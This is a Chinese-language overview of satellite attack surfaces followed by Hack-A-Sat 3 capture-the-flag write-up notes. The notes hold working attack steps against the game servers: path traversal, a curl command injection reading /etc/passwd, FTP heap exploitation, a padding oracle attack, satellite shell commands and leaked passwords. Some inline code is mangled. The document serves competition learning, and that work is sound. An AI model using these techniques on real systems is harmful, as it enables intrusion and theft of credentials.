卫星黑客攻击揭秘

ADCS(姿态确定和控制系统)

ADCS 代表姿态确定和控制系统。它是卫星、航天器和其他在太空运行的飞行器的重要组成部分。 ADCS 的主要功能是确定和控制飞行器在太空中的方向或姿态。

姿态确定涉及确定车辆当前的姿态,包括其方向、角速度和角加速度。这些信息是通过陀螺仪、太阳传感器、星跟踪器、磁力计和地平线传感器等传感器获得的。这些传感器测量各种物理量来计算车辆的姿态。

另一方面,姿态控制涉及调整车辆的方向以保持所需的姿态或执行特定的操作。这是通过使用反作用轮、推进器、磁力扭矩器和控制力矩陀螺仪等执行器来实现的。这些执行器施加扭矩或力来改变车辆的姿态。

至于对 ADCS 的攻击,存在各种可能破坏或危害系统的潜在威胁。这里有一些例子:

  1. 传感器攻击:攻击者可能试图操纵或欺骗用于姿态确定的传感器。例如,他们可以向传感器照射强光或激光以导致错误读数,或者他们可以使用电磁辐射干扰传感器信号。
  2. 执行器攻击:对手可能会针对负责姿态控制的执行器。他们可能会尝试禁用或篡改执行器,从而阻止车辆正确调整其姿态或导致其偏离预定路线。
  3. 通信攻击:如果 ADCS 依赖于来自地面控制或其他来源的外部命令或数据,攻击者就可以拦截或操纵通信通道。他们可能会注入错误命令或更改发送到 ADCS 的数据,从而导致错误的姿态确定或控制。
  4. 软件攻击:ADCS 系统通常利用软件来处理传感器数据、实施控制算法和管理操作。恶意行为者可能会利用软件漏洞或注入恶意代码来损害 ADCS 的完整性和功能。

C&DH(命令和数据处理系统)

C&DH 代表命令和数据处理系统。它是卫星、航天器和其他在太空运行的飞行器的重要子系统。 C&DH 系统的主要功能是处理车载命令并管理车辆内的数据流。

命令和数据处理系统通常由几个组件组成:

  1. 命令系统:该组件接收来自地面控制或其他来源的命令,并将它们分发到车辆内的适当子系统。它对命令进行解码并确保它们正确执行。
  2. 数据系统:数据系统管理车辆上数据的存储、处理和传输。它从各种传感器和子系统收集数据,必要时进行处理,并根据需要存储或传输。该组件还负责管理遥测数据,即从车辆传输到地面进行监控和分析的数据。
  3. 中央处理器(CPU):CPU作为C&DH系统的大脑,执行软件指令并协调各个子系统的运行。它处理命令处理、数据管理和系统控制所需的计算任务。
  4. 内存:C&DH 系统包括易失性和非易失性内存,用于存储命令、数据和软件程序。易失性存储器(例如RAM)用于在操作期间临时存储,而非易失性存储器(例如EEPROM或闪存)即使在断电时也能保留数据。

现在,关于对C&DH系统的攻击,这里有几个例子:

  1. 命令注入:攻击者可能会尝试将未经授权的命令注入系统。如果他们能够访问通信通道或利用命令接收过程中的漏洞,他们可能会发送恶意或未经授权的命令,从而破坏或损害车辆的运行。
  2. 数据操纵:攻击者可能会瞄准数据系统并尝试操纵或破坏正在收集、处理或传输的数据。这可能会导致错误的决策、不正确的分析或任务目标的妥协。
  3. 软件利用:如果C&DH系统中存在软件漏洞,攻击者可能会利用这些漏洞获得未经授权的访问、执行任意代码或破坏系统的正常运行。这可能包括缓冲区溢出攻击、代码注入或权限升级。
  4. 物理攻击:在某些情况下,攻击者可能会物理篡改 C&DH 硬件或基础设施。这可能涉及更换组件、修改电路或引入拦截或操纵命令和数据流的恶意设备。

MQTT

MQTT(消息队列遥测传输)是一种轻量级消息传递协议,旨在实现物联网 (IoT) 和机器对机器 (M2M) 场景中设备之间的高效通信。它遵循发布-订阅模型,其中设备将消息发布到主题,而其他设备订阅这些主题以接收消息。

以下是 MQTT 的一些主要功能:

  1. 轻量级:MQTT 的设计宗旨是轻量级且高效,使其适用于处理能力和带宽有限的资源受限设备。
  2. 发布-订阅模型:设备可以向特定主题发布消息,对这些主题感兴趣的其他设备可以订阅以接收这些消息。
  3. 服务质量 (QoS):MQTT 支持不同级别的 QoS,以确保可靠的消息传递。 QoS 级别范围从 QoS 0(最多一次)到 QoS 2(恰好一次),允许在消息传递保证和网络开销之间进行权衡。
  4. 异步通信:MQTT 支持异步通信,允许设备发送和接收消息,而无需建立和维护持久连接。

现在,关于对 MQTT 的攻击,这里有几个例子:

  1. 未经授权的访问:攻击者可能会尝试使用弱凭据或默认凭据来未经授权地访问 MQTT 代理或设备。一旦进入,他们就可以窃听消息、注入恶意消息或对网络进行进一步的攻击。
  2. 消息篡改:如果攻击者获得 MQTT 网络的访问权限,他们就可以拦截并篡改正在发布或订阅的消息。他们可能会修改消息内容、注入恶意负载或欺骗消息源。
  3. 拒绝服务 (DoS):攻击者可能会通过大量消息使 MQTT 基础设施或设备过载,从而导致拒绝服务。这可能会中断通信、降低系统性能或耗尽设备资源。
  4. 中间人 (MitM):通过拦截 MQTT 通信,攻击者可以将自己定位为设备和代理之间的中介,从而使他们能够拦截、修改或阻止消息。这使得他们能够获得未经授权的访问或操纵通信流。
  5. MQTT 代理漏洞:MQTT 代理是处理消息路由的核心组件,可能存在可供攻击者利用的漏洞。这些漏洞可能包括缓冲区溢出、代码注入或其他允许未经授权的访问或损害 MQTT 系统完整性的软件漏洞。

403 禁忌

  1. 使用 Gobuster 进行枚举:gobuster dir -u http://10.23.223.25 -w wordlist.txt该命令使用 Gobuster 枚举网络服务器并搜索隐藏的目录或文件。在这种情况下,没有报告任何重大发现。
  2. 使用 Curl 进行路径遍历:curl -v --path-as-is http://10.23.223.25/assets/../../../该命令通过使用 Curl 访问服务器并操纵路径返回多个目录 ( ../../../) 来到达禁止目录,从而执行路径遍历。它显示了目录列表。
  3. 使用 Curl 命令注入:curl -v --path-as-is http://10.23.223.25/assets%20|cat%20/etc/passwd/该命令通过将 shell 命令 ( cat /etc/passwd) 附加到 Web 服务器的路径来利用命令注入漏洞。它使用|字符和 URL 编码 ( %20) 来执行 HTTP 请求中的命令。它检索文件的内容/etc/passwd
  4. 使用 Curl 列出目录:curl -v --path-as-is http://10.23.223.25/server/www/html/groundstations/此命令使用 Curl 访问/server/www/html/groundstations/服务器上的特定目录 ( ) 并检索目录列表,显示其中的文件和文件夹。
  5. 检索标志:curl -v --path-as-is http://10.23.223.25/server/www/html/flag/flag.txt该命令使用 Curl 访问特定文件 ( /server/www/html/flag/flag.txt) 并检索其内容,这恰好是挑战的标志。

150 文件状态

  1. 连接到 FTP 服务器:$ ftp 10.23.223.25:2110.23.223.25此命令启动与在提供的 IP 地址 ( ) 和端口 ( )上运行的 FTP 服务器的连接21
  2. 使用 FTP 服务器进行身份验证:User: hasftpd Password: L@bm0nkey2deltahasftpd这些命令使用提供的用户名 ( ) 和密码 ( )通过 FTP 服务器进行身份验证L@bm0nkey2delta
  3. 启用被动模式:ftp> passive此命令启用 FTP 连接的被动模式。当客户端位于防火墙后面并且需要与服务器建立数据连接时,通常使用被动模式。
  4. 检索 FTP 服务器二进制文件:ftp> get hasftpd此命令hasftpd从 FTP 服务器检索二进制文件并将其下载到本地计算机。
  5. 利用目录列表漏洞:ftp> LIST /path/to/directory/path/to/directory此命令列出FTP 服务器上指定目录 ( ) 中的文件。该漏洞允许列出文件系统中任何文件夹中的文件,而不仅仅是受限制的文件夹。
  6. 利用信息泄露漏洞:ftp> TYPE %x%xTYPE该命令通过将FTP 连接设置为 来利用信息泄漏漏洞%x%x,从而允许泄漏字符串地址的值homedir
  7. 利用释放后使用和双重释放漏洞:ftp> QUEU <command> ftp> EXEC ftp> FREE <id>这些命令利用自定义 FTP 命令中的释放后使用和双重释放漏洞。该QUEU命令允许在队列中嵌入命令、EXEC运行排队的命令并FREE通过其 ID 释放特定命令。
  8. 利用该house_of_botcake技术:该house_of_botcake技术用于将小 bin 块合并为较大的 bin 块,从而允许控制链表的next指针。通过操纵指针,可以设置字符串next的地址,从而允许进一步利用。homedir
  9. 操作homedir和检索文件:ftp> RETR /path/to/file通过操作字符串的能力homedir,该RETR命令可用于从 FTP 服务器下载文件。替换/path/to/file为所需文件的实际路径。

天线指向

GMAT(通用任务分析工具)是 NASA 开发的软件,作为替代轨道计算方法来验证 SGP4(简化一般扰动)模型获得的结果。

  1. GMAT GUI 和卫星轨道:
    • 使用提供的开普勒元素(半长轴、偏心率、倾角、升交点赤经、近地点距角和真距点)在 GMAT 中创建一个新的航天器。
    • 设置轨道的纪元(开始时间)。
    • 配置航天器的坐标系和状态类型。
  2. 传播者:
    • 修改 GMAT 中的默认传播器以模拟卫星轨道。
    • 配置重力模型、大气模型和点质量(例如地球、月球和太阳)以进行精确计算。
    • 设置传播卫星位置的步长。
  3. 地面站:
    • 使用提供的参数在 GMAT 中创建地面站,包括最小海拔、中心体(地球)、州类型和位置坐标(纬度、经度和海拔)。
    • 为每个地面站定义坐标系以生成相对于它们的卫星位置。

咖啡粉

  1. 文件内容:
    • Coffee.java:ELF x86-64 二进制文件
    • Coffee.png:1024×682 JPEG 图像文件
    • serv:ELF x86-64 二进制文件
  2. 疑似漏洞:
    • 关键变量位于堆栈上的偏移量 RBP + -0xb8 (0xffffff48) 处。
    • 服务器使用堆栈上偏移量 RBP + -0xa8 处的变量进行写回。
    • 要获取该标志,请修改 0x0010200d 处的指令:将 58 ff ff ff 替换为 48 ff ff ff。
  3. 获取密码:
    • 文件中的偏移量是0x2010。
    • 发送以下payload:b'8208\nH8\nhello! '输出密码。
  4. 地面站滚动密码:
    • 关岛 13000 端口:密码 – YJsiWoh9
    • 毛里求斯 13001 端口:密码 – JF-CM03E
    • 端口 13002,Mingenew:密码 – qL_MPv3_
    • 端口 13003,洛杉矶:密码 – jMOLbpmi
    • 端口 13004,科尔多瓦:密码 – kCt9XFgr

数字孪生

HACK-A-SAT 3:数字孪生探索和工具

网络探索

  • getent hosts <hostname>:检索与主机名关联的 IP 地址。

数字孪生设置

  • GS > procedures > gs_script.rbgs_script.rb在 COSMOS 中运行程序来配置地面站、无线电、天线并发送命令以启用遥测。

泄露 COSMOS 定制 RubyGems

  • 检索 Gem 文件:
    • curl -H 'Authorization: REDACTED' 'https://cosmos.solarwine-digitaltwin.satellitesabove.me/cosmos-api/storage/download/cosmos-has3-gnd-1.0.0.gem?scope=DEFAULT&bucket=gems' | jq
  • 使用 COSMOS 密码转储文件:
    • curl -H 'Authorization: REDACTED' 'https://cosmos.solarwine-digitaltwin.satellitesabove.me/cosmos-api/storage/download/<file-name>'

遥测监控

  • 创建 Prometheus 导出器来收集遥测数据:使用 WebSocket 端点/cosmos-api/cable订阅遥测事件并将其存储在时间序列数据库中。

记录 cFE 和地面站事件

  • 订阅遥测数据包:
    • CFE_EVS EVENT_MSG_PKT:订阅cFE事件消息。
    • GS ACCESS_STATUS:订阅地面站接入状态。
  • 将遥测数据转发到 Discord 通道。

卫星仿真

  • 使用 QEMU 模拟卫星:
    • 安装 QEMU:git clone https://gitlab.com/qemu/qemu.git && git -C qemu checkout 214a8da23651f2472b296b3293e619fd58d9e212 && (cd qemu && ./configure --target-list=riscv32-linux-user && make -j4)
    • 运行 core-cpu1:LIB_DIR="<path/to/remote_sat/lib>" qemu/build/qemu-riscv32 -L "$LIB_DIR" -E "LD_LIBRARY_PATH=$LIB_DIR" "$LIB_DIR/ld-linux-riscv32-ilp32d.so.1" ./core-cpu1

发送命令

  • 启用遥测:
    • codec.high_push(CCSDSPacket() / KIT_TO_ENABLE_TELEMETRY_CmdPkt(IP_ADDR='127.0.0.1'))
  • 列出应用程序:
    • codec.high_push(CCSDSPacket() / CFE_ES_SHELL_CmdPkt(CMD_STRING="ES_ListApps", OUTPUT_FILENAME="/cf/cmd"))
  • 运行外壳命令:
    • codec.high_push(CCSDSPacket() / CFE_ES_SHELL_CmdPkt(CMD_STRING="uname -a", OUTPUT_FILENAME="/cf/cmd"))
  • 启动MM应用程序:
    • codec.high_push(CCSDSPacket() / CFE_ES_START_APP_CmdPkt(APP_NAME="MM", APP_ENTRY_POINT="MM_AppMain", APP_FILENAME="/cf/mm.so", STACK_SIZE=16384, PRIORITY=90))

拼图盒

  1. 启用遥测:KIT_TO ENABLE_TELEMETRY– 启用遥测。
  2. 设置 PuzzleBox:PUZZLEBOX STAGE_1 <payload>– 设置 PuzzleBox 以进行后续阶段。替换<payload>为 16 字节有效负载。
  3. 解决 PuzzleBox 第一阶段:PUZZLEBOX STAGE_1 This_1snt_the_aN– 尝试解决 PuzzleBox 的第一阶段。
  4. 解决 PuzzleBox 阶段 2:PUZZLEBOX STAGE_2 sWeR_cH3cK_7hE_t– 尝试解决 PuzzleBox 的第二阶段。
  5. 解决 PuzzleBox 第 3 阶段:PUZZLEBOX STAGE_3 0k3n_p@9e_pRoLly <algorithm_selection>– 尝试解决 PuzzleBox 的第三阶段。替换<algorithm_selection>为四个编码算法编号(1、2 或 3)的序列。
  6. 解决 PuzzleBox 第 4 阶段:PUZZLEBOX STAGE_4 _s0meth!n_tH3re.– 尝试解决 PuzzleBox 的第四阶段。
  7. 重置 PuzzleBox:RESET_CTRS– 重置 PuzzleBox。
  8. 等待标志:监视遥测以确保标志出现在字段中TOKEN

收音机设置

每个团队都有无线电访问代码和特定设置。作为攻防游戏的一部分,我们必须探索如何连接到其他团队的卫星。本指南提供了有关如何记录地面站设置并使用它们连接到其他团队的卫星的说明。

记录地面站设置演变:

  1. 建立与 Solar Wine 游戏服务器的 SSH 连接:ssh -L 8088:10.23.223.25:80 solarwine-game
  2. 运行以下 Bash 脚本以在本地镜像地面站文件:

复制复制

#!/usr/bin/env bashURL="http://localhost:8088/assets%20|cat%20/server/www/html/groundstations/"
curl -s --path-as-is "${URL}index.html/"> index.html &\
curl -s --path-as-is "${URL}index_Cordoba.html/"> index_Cordoba.html &\
# [...]
curl -s --path-as-is "${URL}rx_settings_Cordoba.json/"> rx_settings_Cordoba.json &\
# [...]
  1. 该脚本检索每个地面站的 HTML 和 JSON 文件,其中包含必要的数据。

将频道标识符映射到每个团队:

1:SpaceBitsRUs,2:组织者,3:完美的蓝色,4:武士,5:波兰可以进入太空,6:SingleEventUpset,7:Solar Wine,9:WeltALLES! (有时也为 19)。

连接到其他团队的卫星:

  1. 分析连接模式并识别与目标团队关联的地面站。
  2. 从记录的数据中获取目标团队地面站的无线电访问代码和特定设置。
  3. 配置您自己的地面站以匹配目标团队的设置。
  4. 使用目标团队的无线电访问代码和配置的设置建立与目标团队卫星的连接。
  5. 监视遥测数据或其他相关信息的连接。

virgo.readthedocs.io/en/latest g0kla.com/foxtelem

RISC V 业务

1-BULK_MISSIONS(功能代码 105):

– 发送批量任务请求。 – 语法:BULK_MISSIONS <mission_ids> – 示例:BULK_MISSIONS 26 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

2-STORE_MISSION_DATA(功能代码4):

– 存储任务数据。 – 语法:STORE_MISSION_DATA <任务数据> – 示例:STORE_MISSION_DATA 6545

3-CFE_ES SEND_APP_INFO:

– 向 CFE_ES 发送应用程序信息请求。 – 语法:CFE_ES SEND_APP_INFO <APP_NAME> – 示例:CFE_ES SEND_APP_INFO TELESCOPE

4-TELESCOPE BULK_MISSIONS 命令:

– 向望远镜发送批量任务命令。 – 语法:TELESCOPE BULK_MISSIONS <MISSION_IDS> – 示例:TELESCOPE BULK_MISSIONS 26 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

5-GDB 命令(在 GDB 设置中使用):

– 设置断点

:在指定地址设置断点。 – 运行:开始执行程序。 – continue:命中断点后继续执行程序。 – 信息寄存器:显示当前寄存器值。 – bt:显示回溯。 – x/x :以十六进制格式检查指定地址处的内存。

圣地

  1. 连接到服务:nc <IP> 13100
  2. 检索地面站的加密密钥:get_key Melbourne get_key Maspalomas get_key Tokyo get_key Kathmandu get_key Hawaii
  3. 执行填充预言机攻击来解密密钥:
    • 使用脚本或工具来自动执行攻击,例如带有pycryptodome库的Python。
    • 实现 PKCS7 填充方案和 CBC 操作模式。
    • 通过操作加密密钥并观察填充错误响应,一次检索一个字节的明文内容。
  4. 使用解密的密钥连接到地面站:connect Melbourne whackyauctionclumsyeditorvividly connect Maspalomas oxygenlettucereprintmatchbookbroiler connect Tokyo comradeshindigscratchfreeloadtributary connect Kathmandu slicereveryonecrewmateantidotebannister connect Hawaii awokefacialheadlocklandedexpectant
  5. 如果当前密码随时间发生变化,请重复此过程以检索当前密码。

三应用蒙特

  1. 发送 CFE_ES SEND_APP_INFO 命令来检索 SPACEFLAG_Send_Token 的地址:CFE_ES SEND_APP_INFO APP_NAME=SPACEFLAG
  2. 接收 CFE_ES APP_INFO_TLM_PKT 数据包并记下 START_ADDR 属性。
  3. 计算 SPACEFLAG_Send_Token 的地址:SPACEFLAG_Send_Token_Address = START_ADDR - 0x00010de8 + 0x00011376
  4. 制作扩展 SMS 命令以将 SMS_CMD_MID 设置为 0x1f80:SMS NORMAL_MSG INTERNAL_USE=1722 MESSAGE=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  5. (可选)使用 MsgId = 0x1f80 向mon.so发送 NoOp 命令,以确保与mon.so的通信:MON NOOP MSG_ID=0x1f80
  6. 将 Debug 命令发送到mon.so,并使用有效的 SPACEFLAG_Send_Token 地址作为参数:MON DEBUG ADDRESS=<SPACEFLAG_Send_Token_Address>
  7. 接收 SPACEFLAG TOKEN_TLM_PKT 数据包并从中读取标志。

卫星可用性挑战

1-监控 EPS 遥测以计算用电量:

– 使用 EPS 遥测数据跟踪电流和电压值。 – 使用以下公式计算每个组件的功耗:功率 = 电流 * 电压。

2-识别耗电组件:

– 分析功耗数据以确定功耗最多的组件。 – 根据提供的信息,耗电组件为: – 通信有效负载:7.6 W – TT&C COMM:5.3 W – 星跟踪器:5.2 W – C&DH:3.7 W – ADCS:2.5 W

3-在夜间保存能量:

– 在夜间禁用不必要的组件以减少能耗。 – 禁用ADCS会导致积分获取率下降,不建议禁用。

4-降低有效负载的电池消耗:

– 探索与 SDR 有效负载通信并调整其功率设置的命令或方法。 – 不幸的是,如果没有找到控制 SDR 的命令,则可能需要替代策略。

查找并访问 COSMOS

COSMOS 使任务操作员能够与地面站和卫星进行通信,从而使他们能够执行各种任务,例如遥测采集、命令执行和系统监控。它提供了一个用户友好的界面来管理航天器操作,并简化了任务期间与卫星交互的过程。

攻击者的目标是访问 COSMOS 并利用系统中的漏洞。他们首先获取 SSH 密钥来连接到 AWS 主机,然后发现 COSMOS 的主机名:cosmos.poland.has3.satellitesabove.me。这使得他们能够访问 COSMOS 接口并开始与地面站和卫星进行通信。

针对TC通道或任务通道的暴力攻击

TC 通道允许任务操作员向航天器发送各种命令,例如控制其子系统、执行机动、收集数据或执行特定操作。它对于航天器的操作至关重要,并使地面控制团队能够与航天器实时交互。

另一方面,任务通道通常是指更广泛的通信通道,其中包含各种与任务相关的数据和信息的传输。这可以包括遥测数据、科学测量、状态报告和其他特定于任务的数据。

TC通道和任务通道对于保证航天器在执行任务期间的成功运行和通信都起着至关重要的作用。安全可靠的通信渠道对于维持太空任务的完整性和安全性至关重要。

TC信道负责向卫星发送命令和指令,而任务信道是指专用于传输与任务相关的数据和信息的通信信道。通过对这些通道进行强力攻击,攻击者试图发现有效的凭据(例如密码或加密密钥),以控制卫星的功能或访问任务敏感数据。

“对空间通信链路的直接攻击:利用清晰模式(也称为安全模式)”是指攻击者以空间通信链路为目标并利用清晰模式或安全操作模式的攻击类型。

清晰模式或安全模式是卫星或航天器遇到异常或意外事件时进入的保护状态。在此模式下,某些功能可能会受到限制或禁用,以确保卫星的安全性和完整性。

在攻击的背景下,攻击者的目的是利用清晰模式或安全操作模式中的漏洞来获得未经授权的访问或操纵空间通信链路。通过这样做,他们可能会试图破坏或干扰卫星与地面站之间的通信,损害传输数据的完整性,甚至控制卫星。

用于利用清晰模式或安全模式漏洞的具体技术可能会根据卫星系统实施的安全措施而有所不同。这些技术可能涉及利用已知的软件或硬件弱点、未经授权的命令或指令,或者利用通信协议或加密机制中的缺陷。

1-窃听:攻击者拦截并捕获地面站与卫星之间的通信信号。通过分析截获的数据,他们可能会获得敏感信息或对通信协议的了解,从而可能导致进一步的利用。

2-信号干扰:攻击者发射高功率干扰信号,破坏或阻塞地面站和卫星之间的通信信号。这可能会导致通信中断或通信链路性能下降,从而导致卫星运行中断。

3-注入攻击:攻击者将恶意命令或数据注入地面站和卫星之间的通信流中。通过利用协议或系统中的漏洞,他们可能会操纵或修改传输的命令,从而导致意想不到的后果或损害通信的完整性。

4-重放攻击:攻击者捕获地面站和卫星之间传输的有效命令或数据,并在稍后重放它们。这可能会导致重复命令或意外操作,从而可能扰乱卫星的运行或导致发生未经授权的操作。

资源

点赞